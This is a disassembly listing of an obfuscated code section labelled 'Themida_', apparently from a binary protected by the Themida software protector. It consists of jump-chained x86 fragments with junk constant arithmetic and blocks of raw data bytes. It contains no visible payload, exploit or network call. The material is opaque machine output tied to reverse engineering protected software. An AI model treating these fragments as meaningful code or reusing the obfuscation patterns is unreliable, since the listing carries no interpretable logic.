loc_5669D7: ; CODE XREF: Themida_:00559369j push 18DEh jmp loc_55ADA6 ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 8 dd 1F44E942h, 0CF81FFFFh, 35197609h, 5DBEE781h, 0B8504C15h dd 1A8850ADh, 485F0C35h, 13CBE92Eh, 0DFB7FFFFh, 8861B450h dd 0FEE1E9E1h, 7B2DFFFFh, 0E9324502h, 0FFFF513Dh, 5966EB28h dd 0F380C3FEh, 5BDD281Dh, 0E97FC580h, 0FFFF5048h ; --------------------------------------------------------------------------- loc_566A30: ; CODE XREF: Themida_:005661C3j xchg ebx, [esp] pop esp jmp loc_55D14E ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 4Ah dd 0FF02FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_566A41: ; CODE XREF: Themida_:0055B46Dj push dword ptr [esp] pop edi add esp, 4 xor ebp, 57D52EE9h jmp loc_55A2FB ; --------------------------------------------------------------------------- db 0C1h dd 0F20502E0h, 891066C1h, 0E6C158C6h, 10EE8107h, 0E91E6178h dd 0FFFFCF83h, 0FFD5015Bh, 34FF2434h, 0B215E924h, 0F831FFFFh dd 0FF0F8AE9h, 0E99C51FFh, 0FFFEBAF1h, 92456A68h, 0E72CE97Dh dd 0FB01FFFFh, 5D31C381h, 0B951199Fh, 0 dd 18BD901h, 0E9240C8Bh, 0FFFEC8B8h ; --------------------------------------------------------------------------- loc_566AAC: ; CODE XREF: Themida_:00558165j mov ebp, 2C2964F0h add ebp, 0D3D69B14h jmp loc_554E4B ; --------------------------------------------------------------------------- dd 31240433h, 4332404h, 24248B24h, 14F9EB81h, 0EB814483h dd 2D213C2Ch, 5CCE9h, 758F6800h, 8AE90B09h db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566AE3: ; CODE XREF: Themida_:00560892j mov ebp, 0 sub ebp, edx xchg ebp, edx pop ebp jmp loc_567A6E ; --------------------------------------------------------------------------- dw 1FB4h dd 0F658E288h, 80CAFED2h, 15E9C5E2h db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566B03: ; CODE XREF: Themida_:00561DCAj pop edx xor ebp, 262C0B03h jmp loc_564C52 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 24048B24h, 0FFD7A9E9h, 4815EFFh, 0E4173D24h dd 2404013Ch, 3D242C81h, 683CE417h, 60C0h, 0FFD8F0E9h dd 24048FFFh, 0FF24248Bh, 0E99C240Ch, 0FFFF22C4h ; --------------------------------------------------------------------------- loc_566B48: ; CODE XREF: Themida_:00561327j and cl, dl jmp loc_555DFA ; --------------------------------------------------------------------------- db 0F6h dd 10ED80DDh, 0E800632Ch, 0FF864EE9h, 0C5E9ACFFh, 5FFFF61h dd 4, 5C240487h, 0FF1C4709h, 0FEE92434h, 51FFFED4h, 0EF81595Ah dd 16DA4770h, 0C781D701h, 16DA4770h, 8124148Bh, 4C4h, 4C78100h dd 33000000h, 3C31243Ch, 2776E924h, 0F768FFFFh, 0E900005Ch dd 0FFFFCC0Bh ; --------------------------------------------------------------------------- loc_566BAC: ; CODE XREF: Themida_:00555DFBj sub cl, 89h xor bl, cl pop ecx xor al, bl pop ebx sub bl, 0EFh jmp loc_555728 ; --------------------------------------------------------------------------- db 66h, 81h, 0E9h dd 16642E8h, 16659CBh, 0EB8166C3h, 0BEE904F4h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566BD3: ; CODE XREF: Themida_:0055CA52j sub eax, 281F4744h sub eax, 14BD34F2h push edi mov edi, 6C364125h sub eax, edi pop edi sub eax, 6621231Bh mov esi, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] or eax, eax jmp loc_5622FD ; --------------------------------------------------------------------------- db 0BEh dd 137DB492h, 0D4E9F131h, 0E9FFFFBFh, 0FFFEB961h, 1F0801BFh dd 4956E94Dh, 0C0BBFFFFh, 0E974A042h, 0FFFEBB8Ah ; --------------------------------------------------------------------------- loc_566C2C: ; CODE XREF: Themida_:0055AF2Cj not al xchg al, cl push cx dec byte ptr [esp] jmp loc_5675B9 ; --------------------------------------------------------------------------- dw 0EC83h dd 242C8904h, 2BB53h, 0DD890000h, 0FFF0BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_566C4D: ; CODE XREF: Themida_:00553CD4j mov ecx, 2E555974h mov ebp, 2E555978h sub ebp, ecx pop ecx sub eax, 51452953h add eax, 18BE2373h add eax, ebp sub eax, 18BE2373h add eax, 51452953h pop ebp sub eax, 4 push eax jmp loc_5658BD ; --------------------------------------------------------------------------- dd 300168h, 242C8900h, 0F9533CBDh, 9ABE566Dh, 8174580Bh dd 0A80594F6h, 81EED172h, 0A74A26C6h, 1FED8166h, 12F081Dh dd 1FC581F5h, 5E2F081Dh, 6A01F581h, 0DDF75F73h, 4FDC581h dd 0E801EA57h, 2055D5Dh, 50000000h, 42474FFh, 24048F58h dd 0FE6FE95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566CD2: ; CODE XREF: Themida_:0055A9D5j mov esi, [esp] jmp loc_559DE9 ; --------------------------------------------------------------------------- loc_566CDA: ; CODE XREF: Themida_:00565E9Fj sub ebp, 48577860h push edi mov edi, 7C335480h xor edi, 5FFEDA8Bh xor ebp, edi pop edi add esi, 153B4985h add esi, ebp sub esi, 153B4985h mov ebp, [esp] add esp, 4 push ecx mov ecx, 4 jmp loc_561BD8 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0CDh dd 5360BA3Ch, 9A2F25BBh, 0C3814324h, 0FAE3F559h, 0F75BD831h dd 704635D0h, 0F9055D36h, 8922F268h, 0D3E958C1h, 0BBFFFFDAh dd 46BA7D5Ch, 4986BE56h, 0F30914B2h, 81DBF75Eh, 0CE4012EBh dd 0F2BF570Bh, 8150BB20h, 5F7D72EFh, 0C8EF8113h, 317FF93Eh dd 0ECE95FFBh, 0C0FFFF5Ch, 0E58002EDh, 7AC58031h, 0F580DDF6h dd 0E955B601h, 0FFFF7779h ; --------------------------------------------------------------------------- loc_566D80: ; CODE XREF: Themida_:005636B6j push edi pop ecx pop edi xchg ecx, edx xor edx, 8018C204h mov edi, edx pop edx and eax, edi push dword ptr [esp] jmp loc_55C03A ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 0CF3CE900h, 7C01FFFFh, 0B9510424h dd 59DC4CD6h, 8244C01h, 246C8159h, 601B9804h, 243C8B6Bh dd 4C481h, 48F0000h, 60F0E924h, 4BAFFFFh, 1000000h, 0E1685AD0h dd 0E9000066h, 0FFFF8B94h, 81E28952h, 4C2h, 63AFE900h dd 0C281FFFFh, 4, 0FF0401E9h, 81F329FFh, 731A6AEBh, 0F770E968h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566E06: ; CODE XREF: Themida_:00552CBDj add ebp, 385266AAh add ebp, ecx sub ebp, 385266AAh jmp loc_5570AA ; --------------------------------------------------------------------------- db 31h, 0CAh, 59h dd 0FF31F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_566E21: ; CODE XREF: Themida_:0055BB19j mov esi, ebx mov ebx, [esp] add esp, 4 add edx, 69C067C9h jmp loc_55E1C3 ; --------------------------------------------------------------------------- dd 8324148Bh, 348904ECh, 4EC8324h, 0FEC4EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_566E45: ; CODE XREF: Themida_:0055E509j mov eax, 24h add eax, edi xor [eax], ebx jmp loc_5603BF ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0A66800h, 34890000h, 2474FF24h, 24348B04h, 0FF1A5DE9h dd 70CF68FFh, 14890000h, 4EC8124h, 89000000h, 6168240Ch dd 5949B576h, 5D49F181h, 0EC814148h, 4, 5A240C89h, 8B2434FFh dd 0C481240Ch, 4, 4C481h, 0CA810000h, 14226D18h, 8752D2F7h dd 0F6E92434h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566EB7: ; CODE XREF: Themida_:00562954j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_565DD2 ; --------------------------------------------------------------------------- dw 0C181h dd 7F913E5h, 3AF3BD55h, 0A6E912C2h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566EDB: ; CODE XREF: Themida_:00562AF5j pop ebp jmp loc_5634E5 ; --------------------------------------------------------------------------- db 56h, 0E9h, 0A6h dd 0BEFFFF6Fh, 7F3669AEh, 0FEDEC3E9h, 3B2905FFh, 0C8B2094h dd 4C48124h, 1000000h, 0FDBBE9D8h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566F06: ; CODE XREF: Themida_:00555D29j sub eax, 67481A7Eh shl eax, 7 sub eax, 985D1BAEh mov ebx, eax mov eax, [esp] jmp loc_564B61 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 241C895Ch, 0E904EC83h, 486h ; --------------------------------------------------------------------------- loc_566F2C: ; CODE XREF: Themida_:0055CBA5j mov ebx, 11745F68h add eax, ebx pop ebx add ecx, eax mov eax, [esp] add esp, 4 pop ebx jmp loc_562C5C ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 0AF0F665Ch, 9C5166C8h, 7CBE9h db 0 ; --------------------------------------------------------------------------- loc_566F55: ; CODE XREF: Themida_:005584E8j push esi mov esi, esp jmp loc_55E3DA ; --------------------------------------------------------------------------- loc_566F5D: ; CODE XREF: Themida_:00556B52j sub ecx, edi pop edi mov eax, ecx pop ecx xor edx, eax mov eax, [esp] add esp, 4 jmp loc_560FFB ; --------------------------------------------------------------------------- loc_566F73: ; CODE XREF: Themida_:005545BEj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ebx sub esp, 4 jmp loc_567B78 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4EE8100h, 87000000h, 0E95C2434h, 0FFFF8F9Fh, 1823C581h dd 0C5810CAAh, 2AEA1CA0h, 0FF2B0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_566FB5: ; CODE XREF: Themida_:00562F36j push 22AAh mov [esp], esi push edx mov edx, 32AA6F71h xor edx, 2EE363B0h jmp loc_567BB7 ; --------------------------------------------------------------------------- dw 28Fh dd 0FEB5A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_566FD5: ; CODE XREF: Themida_:00556875j add esp, 4 sub ebx, 343B3DA3h mov edx, ebx pop ebx jmp loc_55D34D ; --------------------------------------------------------------------------- loc_566FE6: ; CODE XREF: Themida_:00563183j sub ecx, 8007C875h xor edx, ecx pop ecx push ecx jmp loc_555539 ; --------------------------------------------------------------------------- loc_566FF5: ; CODE XREF: Themida_:005553EDj add esp, 4 xor esi, eax push dword ptr [esp] jmp loc_558F24 ; --------------------------------------------------------------------------- dw 665Ch dd 9C240CD3h, 0FEB56CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56700D: ; CODE XREF: Themida_:0055FC22j mov edi, ebp pop ebp and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 7 push 7E9Ch mov [esp], ebx mov ebx, 1Ch push 36C3h mov [esp], ecx jmp loc_554C59 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0CFFEF0B7h, 0E937CF80h, 0FFFFE493h ; --------------------------------------------------------------------------- loc_567044: ; CODE XREF: Themida_:0056697Bj mov edi, [esp] add esp, 4 push ecx sub esp, 4 jmp loc_560FCE ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFF609Ch, 0C103E1C1h, 0C18104E1h, 0DF73BBB6h, 0C8BCE31h dd 4C48324h, 348BF201h, 4C48124h, 55000000h, 0F9243EBDh dd 45E8E933h, 0C483FFFFh, 41EC6804h, 34890000h, 0CC58E924h dd 0D4F6FFFFh, 8007ECC0h, 0E1086DF4h, 0FFC13AE9h, 81D301FFh dd 213C2CC3h, 0F9C3812Dh, 5A448314h, 0FFA0AEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5670B9: ; CODE XREF: Themida_:00555282j pop esp push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 add ebx, edi jmp loc_561EF5 ; --------------------------------------------------------------------------- dd 0E9242489h, 0FFFEE699h, 83243C8Bh, 2C3304C4h, 242C3124h dd 0FF4D45E9h, 4C481FFh, 53000000h, 40E901B7h, 81FFFFDFh dd 4C5h, 4C58300h, 31242C33h, 2C33242Ch, 6E95C24h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56710F: ; CODE XREF: Themida_:00562ADEj add bl, dh jmp loc_562422 ; --------------------------------------------------------------------------- dw 0CF28h dd 0B5515966h, 2E5C0A2h, 0B450DDF6h, 3FCCE9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56712A: ; CODE XREF: Themida_:005655AEj push dword ptr [esp] pop edi jmp loc_55549F ; --------------------------------------------------------------------------- db 55h dd 0C54163BDh, 0BA52504Dh, 65707A48h, 7AB0E281h, 37E93A0Dh dd 58FFFFB1h, 5104C183h, 42474FFh, 0FEFF5DE9h db 0FFh ; --------------------------------------------------------------------------- loc_567159: ; CODE XREF: Themida_:00560211j push dword ptr [esp+4] pop ebx jmp loc_55E6F9 ; --------------------------------------------------------------------------- loc_567163: ; CODE XREF: Themida_:0055DAC0j pop esi push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp push 34B8h mov [esp], edi push 1C21h mov [esp], ebp push 16D3h mov [esp], edi sub esp, 4 jmp loc_55A0AE ; --------------------------------------------------------------------------- loc_567194: ; CODE XREF: Themida_:0055742Aj mov ebp, 6D355780h add eax, 173745DAh jmp loc_562AEE ; --------------------------------------------------------------------------- db 50h dd 0FECC5FE9h, 9BE957FFh, 52000002h, 0BAh, 0FFD18900h dd 89E92434h, 8BFFFF1Ch, 0C481242Ch, 4, 5C24048Fh, 0E92434FFh dd 0FFFFF5C1h, 5FFB2966h, 66DA3166h, 0D729665Bh, 2EC835Ah dd 24348966h, 1E6FBE66h, 0D0C78166h, 0F7296620h, 0BE665666h dd 0C4E920D0h, 53FFFFCBh, 0FEED2AE9h, 2474FFFFh, 48F5D04h dd 24248B24h, 8B2434FFh, 5CE9240Ch, 0FFFF74h, 49204F0h dd 148B66F4h, 2C48324h, 0E9D2B252h, 0FFFEFEC4h ; --------------------------------------------------------------------------- loc_567230: ; CODE XREF: Themida_:00563E27j push 2373h mov [esp], edi mov edi, esp sub esp, 4 jmp loc_552586 ; --------------------------------------------------------------------------- loc_567245: ; CODE XREF: Themida_:00552CD4j add eax, 6C931221h sub ecx, 34DC1F6Dh add ecx, eax add ecx, 34DC1F6Dh pop eax xor ebp, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 188B0D80h neg edx inc edx push eax mov eax, 0BC2FC348h sub edx, eax pop eax jmp loc_565F78 ; --------------------------------------------------------------------------- db 0FFh dd 5F042474h, 5C24048Fh, 9CC88566h, 0FEB2ECE9h db 0FFh ; --------------------------------------------------------------------------- loc_56728D: ; CODE XREF: Themida_:00554118j pop edi add ebx, 10861760h add ebx, eax sub ebx, 10861760h jmp loc_552712 ; --------------------------------------------------------------------------- db 81h, 0E7h, 1 dd 4F56BE59h, 0EF81D7F7h, 0A9E3E7FDh, 0E2E9F989h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5672B7: ; CODE XREF: Themida_:0055ED6Cj pop ebp shl esi, 6 push edi jmp loc_564D04 ; --------------------------------------------------------------------------- loc_5672C1: ; CODE XREF: Themida_:00561D9Fj mov ebp, [esp] jmp loc_559CE4 ; --------------------------------------------------------------------------- db 29h, 0EEh, 0E9h dd 0FFFFDDE6h ; --------------------------------------------------------------------------- loc_5672D0: ; CODE XREF: Themida_:0055DDB3j sub ebx, ebp add ebx, 66CE1AD0h pop ebp and eax, ebx mov ebx, [esp] jmp loc_567AFB ; --------------------------------------------------------------------------- db 89h dd 0BD552404h, 6B9D2793h, 0FEBD07E9h, 51F781FFh, 29BD31B3h dd 0FD7EE9F9h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5672FE: ; CODE XREF: Themida_:00563A57j push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_563275 ; --------------------------------------------------------------------------- loc_567312: ; CODE XREF: Themida_:005620EDj add esi, 73A72509h jmp loc_55955C ; --------------------------------------------------------------------------- db 89h, 0D8h, 5Bh dd 35E3ED81h, 0C501223Ah, 35E3C581h, 48B223Ah, 0D29BE924h dd 1C8BFFFFh, 4C48324h, 0FAE9CA01h, 89FFFECBh, 0A5E92414h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56734B: ; CODE XREF: Themida_:00554465j add ecx, 32B269FBh mov esi, ecx pop ecx sub esi, 3743421Eh push eax mov eax, 6D44524Ah add esi, eax jmp loc_554ECB ; --------------------------------------------------------------------------- db 5Ch dd 50241C89h, 0C4FE34B4h, 68FFEC80h, 387Fh, 0FF5B56E9h dd 81E789FFh, 4C7h, 8A8BE900h, 1E68FFFFh, 58119475h, 4A58002Dh dd 0F5B5E965h, 0D501FFFFh, 6F09585Ah, 0D2E95D1Ch, 81FFFEB1h dd 0C04DD2C7h, 90CCE950h, 489FFFFh, 241C8B24h, 0E904C483h dd 0FFFFD901h ; --------------------------------------------------------------------------- loc_5673C0: ; CODE XREF: Themida_:00560DA2j push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_565A8A ; --------------------------------------------------------------------------- dd 0A2C18149h, 0F729612Ah, 2B16E9D1h, 90B8FFFFh, 0F705F67Fh dd 702D48D8h, 29FA0980h, 625AE9C2h, 5966FFFFh, 52CDE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5673FE: ; CODE XREF: Themida_:00560C77j add esp, 4 push edx xor dword ptr [esp], 6B685DE2h pop esi xor esi, 6B685DE2h jmp loc_560A93 ; --------------------------------------------------------------------------- loc_567418: ; CODE XREF: Themida_:00562C85j pop eax add eax, 4 push edi jmp loc_56591C ; --------------------------------------------------------------------------- dd 0B850DA87h, 439541A5h, 1A7FE625h, 0F750405Dh, 0F7582414h dd 0B6B6E9D8h, 8159FFFEh, 4C4h, 9402E900h, 0AABFFFFFh dd 81770D13h, 0B00AF6EFh, 0D23EE9F9h, 0BB53FFFEh, 491D3EB5h dd 34FFD831h, 0C4E95B24h db 0D5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56746B: ; CODE XREF: Themida_:0055F892j mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_566649 ; --------------------------------------------------------------------------- dw 0EE81h dd 5C9F364Dh, 0FFDA8CE9h, 15E95DFFh, 56FFFFE7h, 5C618BBEh dd 30E6814Bh, 551CEC31h, 6632BA68h, 23E95D3Dh, 0B9FFFF69h dd 14F13FDEh, 2D7FEBBAh, 59CA316Ah, 3735F281h, 0ACE90DBCh dd 53FFFF5Fh, 5C09C6BBh, 0FFBA526Bh, 1FFFFFFh, 41E95AD3h dd 5CFFFF19h, 0FF61C9E9h, 24048FFFh, 15DB68h, 24348900h dd 4BEh, 24740100h, 3C8B5E04h, 4C48124h, 81000000h, 4C7h dd 0EC815000h, 4, 68243C89h, 11336F13h, 4EC815Fh, 89000000h dd 29BD242Ch, 81797E05h, 0CE7A28C5h, 0ED81456Ah, 0D3191041h dd 0FFCB93E9h, 5DE801FFh, 7D6BC52Dh, 0C02AE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56753E: ; CODE XREF: Themida_:00556704j sub dh, 0CDh sub dh, 29h sub cl, dh jmp loc_55D78C ; --------------------------------------------------------------------------- loc_56754B: ; CODE XREF: Themida_:00564974j shl ebp, 6 add ebp, 28E386C4h mov edx, ebp pop ebp add eax, 28200D25h add eax, edx sub eax, 28200D25h mov edx, [esp] add esp, 4 jmp loc_563BC3 ; --------------------------------------------------------------------------- dw 0C4BDh dd 3126FA30h, 0B266E9CDh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56757A: ; CODE XREF: Themida_:00557617j add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov ecx, eax mov eax, [esp] jmp loc_553FD3 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 24348904h, 0B850E689h, 0E14029Ah, 4618BD55h dd 0E94D3EF9h, 0FFFFAE89h ; --------------------------------------------------------------------------- loc_5675B4: ; CODE XREF: Themida_:00567D67j jmp loc_552579 ; --------------------------------------------------------------------------- loc_5675B9: ; CODE XREF: Themida_:00566C35j pop cx xchg dl, cl not dl push bx mov bl, dl mov dl, cl mov cl, bl pop bx dec cl not cl jmp loc_559F95 ; --------------------------------------------------------------------------- loc_5675D2: ; CODE XREF: Themida_:0055858Bj add ebx, ebp pop ebp mov esi, ebx push dword ptr [esp] pop ebx add esp, 4 mov edi, 0F0ECB4CEh add edi, esi pop esi push eax jmp loc_55FC14 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 815B2434h, 4C4h, 0B04DE900h, 0C583FFFEh dd 242C8704h, 8BEF295Ch, 0C483242Ch, 0CFF5704h, 0B0A1E924h dd 0C89FFFFh, 0A940E924h, 815DFFFFh, 4ECh, 242C8900h, 5FE9E589h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567633: ; CODE XREF: Themida_:0055B22Dj and eax, ebp push dword ptr [esp] jmp loc_556709 ; --------------------------------------------------------------------------- db 0BFh, 0ABh, 4Fh dd 0DBE914DBh, 89FFFFD6h, 0CCB3241Ch, 809AF380h, 0F380B5EBh dd 0E0C38038h, 5259C380h, 0F4282BB6h, 80DC285Ah, 515B2BC4h dd 0EA88E588h, 0FF8F0EE9h, 0DABF57FFh, 155A874h, 0D1015FFAh dd 0A968575Ah, 8900004Ah, 19E92434h, 52FFFED6h, 0FF51CCE9h dd 0E9E589FFh, 0FFFF98D1h, 6804C483h, 0A56h, 0B8240489h dd 4, 0FECFCDE9h, 68E829FFh, 6833h, 0BA241489h, 36014F1Ah dd 0FFE826E9h db 0FFh ; --------------------------------------------------------------------------- loc_5676C1: ; CODE XREF: Themida_:0055C480j pop ebp neg ebp dec ebp add ebp, 4B630219h xor ebp, 13594AC7h jmp loc_55DDA7 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 0FF7E2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5676E1: ; CODE XREF: Themida_:00559566j and ebx, 5E773992h and ebx, 6915053Bh sub ebx, 945DDBF9h sub esi, ebx pop ebx mov ecx, [esp] add esp, 4 jmp loc_55452A ; --------------------------------------------------------------------------- dd 8159CA29h, 877E19EAh, 8FF2814Fh, 52892BACh, 0E1E958h dd 0E95BFFFFh, 0FFFF3322h, 0FEAE54E9h, 12BA52FFh, 2948E37Dh dd 0C1815AD1h, 7BAC3186h, 0E981E901h, 7BAC3186h, 7D12C181h dd 6FE948E3h db 0C8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567747: ; CODE XREF: Themida_:0055787Cj pop esp jmp loc_562DA2 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 81E68956h, 4C6h, 4C68300h, 0E9243487h, 0FFFEC939h, 0E9240C89h dd 0FFFEF923h, 54F6815Eh, 5969430Ch, 7F8DCE81h, 0C68108F2h dd 55792ECEh, 5603EEC1h, 5E2414F7h, 0FCA8BA52h, 0D631EC7Bh dd 0AAC3815Ah, 1004715h, 0AAEB81F3h, 5E004715h, 5D2434FFh dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0E930FF66h, 0FFFEADBDh dd 81E18951h, 4C1h, 4C18100h, 87000000h, 815C240Ch, 4C2h dd 0E4D1E900h, 48FFFFEh, 24248B24h, 0FEE8F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5677E5: ; CODE XREF: Themida_:00561658j pop esi push 3D48h mov [esp], esi sub dword ptr [esp], 65B934CBh jmp loc_5557C1 ; --------------------------------------------------------------------------- dw 6068h dd 8900001Fh, 9268242Ch, 8B76A34Bh, 8951242Ch, 6035E9E1h dd 0C468FFFFh, 0E9493E36h, 0FFFF098Ah ; --------------------------------------------------------------------------- loc_56781C: ; CODE XREF: Themida_:0055FF0Aj sub edi, 0FBF5F8h jmp loc_55B9A9 ; --------------------------------------------------------------------------- db 83h db 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55AF11 ; --------------------------------------------------------------------------- db 59h dd 0FFC799E9h, 0F1005BFFh, 38E95A66h, 0C0FFFF92h, 0EE8004EEh dd 0D6C68001h, 0FF3BF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_567859: ; CODE XREF: Themida_:0055E3B6j push ebx xchg edx, [esp] not edx jmp loc_558452 ; --------------------------------------------------------------------------- dd 3DDFBF57h, 0CF811D50h, 6A764808h, 7E6DE781h, 0C7817902h dd 500407CEh, 0ABF78147h, 2955BAAEh, 0F1E95FFAh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56788B: ; CODE XREF: Themida_:00556EF0j not edx shr edx, 2 push ecx jmp loc_55B8FD ; --------------------------------------------------------------------------- dw 0C87h dd 24248B24h, 24048B66h, 774F68h, 241C8900h, 5152E389h dd 0F7A4E956h, 5B56FFFFh, 0FFDA015Eh, 835B2434h, 0B95104C4h dd 24AA7D63h, 0FFFB0BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5678C9: ; CODE XREF: Themida_:0055B7FBj pop ebx jmp loc_556F56 ; --------------------------------------------------------------------------- db 81h dd 0A16FEDCFh, 65C78116h, 0E917D229h, 0FFFF582Dh ; --------------------------------------------------------------------------- loc_5678E0: ; CODE XREF: Themida_:00559908j pop ecx push ebp jmp loc_5535A4 ; --------------------------------------------------------------------------- loc_5678E7: ; CODE XREF: Themida_:0055CC31j inc ebp add ebp, 19DA28B1h jmp loc_553C80 ; --------------------------------------------------------------------------- loc_5678F3: ; CODE XREF: Themida_:005586D2j add dword ptr [esp], 4 pop edx add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov edx, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_56115E ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 0E904C183h, 0FFFF1DC2h, 8904EC83h, 0EC832414h dd 24248904h, 4240481h, 0E9000000h, 0FFFF5C49h, 0FEAC1CE9h dd 0CF015FFFh, 0C927E959h, 90B8FFFEh, 1172C1Bh, 24048BC7h dd 4C481h, 0F7810000h, 348C5D42h, 78DD68h, 242C8900h, 0D20887BDh dd 9BF58159h, 51431618h, 17575568h, 0B8505946h, 14112F8Eh dd 0EB69202Dh, 2AD13511h, 35483022h, 967C4E1h, 0FF900CE9h dd 88E980FFh, 80DCE980h, 0CB28E3C3h, 0E9E3EB80h, 0FFFF0FA9h dd 24148B66h, 100D68h, 243C8900h, 0FFF9A8E9h, 0A7E95CFFh dd 83FFFFEDh, 0DEE904C4h, 5CFFFF6Dh, 0F180C1FEh, 2CAF2CBBh dd 0E9FA048Bh, 0FFFF7476h ; --------------------------------------------------------------------------- loc_5679F4: ; CODE XREF: Themida_:0055B2F8j neg esi jmp loc_55E3AB ; --------------------------------------------------------------------------- db 0BEh dd 7E435C29h, 0FF8C7DE9h db 0FFh ; --------------------------------------------------------------------------- loc_567A05: ; CODE XREF: Themida_:0055B02Cj push edi mov edi, 23367469h sub edi, 78A551ABh sub edi, 0A627C47Fh jmp loc_55F6FA ; --------------------------------------------------------------------------- dd 7A3F26BBh, 0BB535718h, 7B032AE8h, 4EC81h, 14890000h dd 1CC5BA24h, 0BB535493h, 13AF5138h, 1C8BDA09h, 4C48324h dd 0FFB219E9h, 81E589FFh, 4C5h, 4ED8300h, 5C242C87h, 68241489h dd 2301h, 81242489h, 4ECh, 6FD4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567A6E: ; CODE XREF: Themida_:00566AEDj push ebp mov ebp, 2FF869AFh add edx, ebp pop ebp loc_567A77: ; CODE XREF: Themida_:loc_55B508j ; Themida_:00565EC6j push esi sub esp, 4 jmp loc_55A14D ; --------------------------------------------------------------------------- loc_567A83: ; CODE XREF: Themida_:0055C53Aj pop esi push 5666h mov [esp], ebx mov ebx, esp add ebx, 4 push 53C3h mov [esp], ecx push ebp mov ebp, 4 mov ecx, ebp pop ebp add ebx, ecx pop ecx jmp loc_55B2AC ; --------------------------------------------------------------------------- db 5Ch, 66h, 3Bh dd 0C2E99CC8h db 0AAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567AB7: ; CODE XREF: Themida_:00554CB5j mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_55F769 ; --------------------------------------------------------------------------- dd 5BEDCA81h, 0EAD1229Fh, 0C946C281h, 0D601CD11h, 28EE815Ah dd 817B4225h, 5D8A12C6h, 0DD9E955h, 9A68FFFFh, 8900007Eh dd 74FF242Ch, 0FCE90424h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567AFB: ; CODE XREF: Themida_:005672DEj add esp, 4 or eax, eax jz loc_562923 push dword ptr [edi+1Ch] sub dword ptr [esp], 64931524h mov ecx, [esp] add esp, 4 push ebx mov ebx, 622309D0h sub esp, 4 mov [esp], edx mov edx, 6C6E0790h and ebx, edx push dword ptr [esp] jmp loc_55CAB4 ; --------------------------------------------------------------------------- loc_567B34: ; CODE XREF: Themida_:00560B35j push edi jmp loc_5607C4 ; --------------------------------------------------------------------------- dw 0F66h dd 895102B6h, 0B357E9E1h, 489FFFFh, 30AFB424h, 43D0E9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567B52: ; CODE XREF: Themida_:005570B1j push esi push ecx push 730752F8h pop ecx xor ecx, 44C3F3Eh jmp loc_5533BE ; 